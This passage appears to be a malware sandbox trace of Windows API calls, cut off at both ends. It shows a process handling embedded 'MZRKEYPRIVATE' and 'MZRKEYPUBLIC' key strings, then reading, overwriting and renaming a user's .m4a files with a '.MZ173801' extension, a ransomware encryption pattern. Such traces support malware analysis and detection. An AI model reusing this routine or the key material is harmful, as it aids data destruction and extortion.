lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0158.841] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24fd50c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0158.842] GetCurrentThreadId () returned 0xab4 [0158.842] GetCurrentThreadId () returned 0xab4 [0158.842] GetCurrentThreadId () returned 0xab4 [0158.842] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0158.842] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x250e56c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0158.842] GetCurrentThreadId () returned 0xab4 [0158.842] GetCurrentThreadId () returned 0xab4 [0158.842] GetCurrentThreadId () returned 0xab4 [0158.842] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\JsYf-A6h4Bx\\k07tTnZjrtR20ZMVLMQ.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\jsyf-a6h4bx\\k07ttnzjrtr20zmvlmq.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0158.843] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1a8*=0) returned 0x0 [0158.843] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x0 [0158.843] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x11d59 [0158.843] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x0 [0158.843] ReadFile (in: hFile=0x27c, lpBuffer=0x2516370, nNumberOfBytesToRead=0x11d59, lpNumberOfBytesRead=0x19f1b4, lpOverlapped=0x0 | out: lpBuffer=0x2516370*, lpNumberOfBytesRead=0x19f1b4*=0x11d59, lpOverlapped=0x0) returned 1 [0158.844] CloseHandle (hObject=0x27c) returned 1 [0158.845] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\JsYf-A6h4Bx\\k07tTnZjrtR20ZMVLMQ.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\jsyf-a6h4bx\\k07ttnzjrtr20zmvlmq.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0158.846] WriteFile (in: hFile=0x27c, lpBuffer=0x25283a0*, nNumberOfBytesToWrite=0x11d59, lpNumberOfBytesWritten=0x19f1c0, lpOverlapped=0x0 | out: lpBuffer=0x25283a0*, lpNumberOfBytesWritten=0x19f1c0*=0x11d59, lpOverlapped=0x0) returned 1 [0158.848] CloseHandle (hObject=0x27c) returned 1 [0158.851] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\JsYf-A6h4Bx\\k07tTnZjrtR20ZMVLMQ.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\jsyf-a6h4bx\\k07ttnzjrtr20zmvlmq.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\JsYf-A6h4Bx\\k07tTnZjrtR20ZMVLMQ.m4a.MZ173801" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\jsyf-a6h4bx\\k07ttnzjrtr20zmvlmq.m4a.mz173801")) returned 1 [0158.851] GetCurrentThreadId () returned 0xab4 [0158.851] GetCurrentThreadId () returned 0xab4 [0158.851] GetCurrentThreadId () returned 0xab4 [0158.851] GetCurrentThreadId () returned 0xab4 [0158.851] GetCurrentThreadId () returned 0xab4 [0158.851] GetCurrentThreadId () returned 0xab4 [0158.851] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9d2f900, ftCreationTime.dwHighDateTime=0x1d5eab5, ftLastAccessTime.dwLowDateTime=0xe34c7800, ftLastAccessTime.dwHighDateTime=0x1d5eed2, ftLastWriteTime.dwLowDateTime=0xe34c7800, ftLastWriteTime.dwHighDateTime=0x1d5eed2, nFileSizeHigh=0x0, nFileSizeLow=0xe422, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="l5xkq_P4B0Vr6xH.m4a", cAlternateFileName="L5XKQ_~1.M4A")) returned 1 [0158.851] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0158.852] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0158.852] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\JsYf-A6h4Bx\\l5xkq_P4B0Vr6xH.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\jsyf-a6h4bx\\l5xkq_p4b0vr6xh.m4a"), fInfoLevelId=0x0, lpFileInformation=0x19f1f4 | out: lpFileInformation=0x19f1f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9d2f900, ftCreationTime.dwHighDateTime=0x1d5eab5, ftLastAccessTime.dwLowDateTime=0xe34c7800, ftLastAccessTime.dwHighDateTime=0x1d5eed2, ftLastWriteTime.dwLowDateTime=0xe34c7800, ftLastWriteTime.dwHighDateTime=0x1d5eed2, nFileSizeHigh=0x0, nFileSizeLow=0xe422)) returned 1 [0158.852] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\JsYf-A6h4Bx\\l5xkq_P4B0Vr6xH.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\jsyf-a6h4bx\\l5xkq_p4b0vr6xh.m4a")) returned 0x20 [0158.852] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\JsYf-A6h4Bx\\l5xkq_P4B0Vr6xH.m4a", dwFileAttributes=0x80) returned 1 [0158.853] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0158.853] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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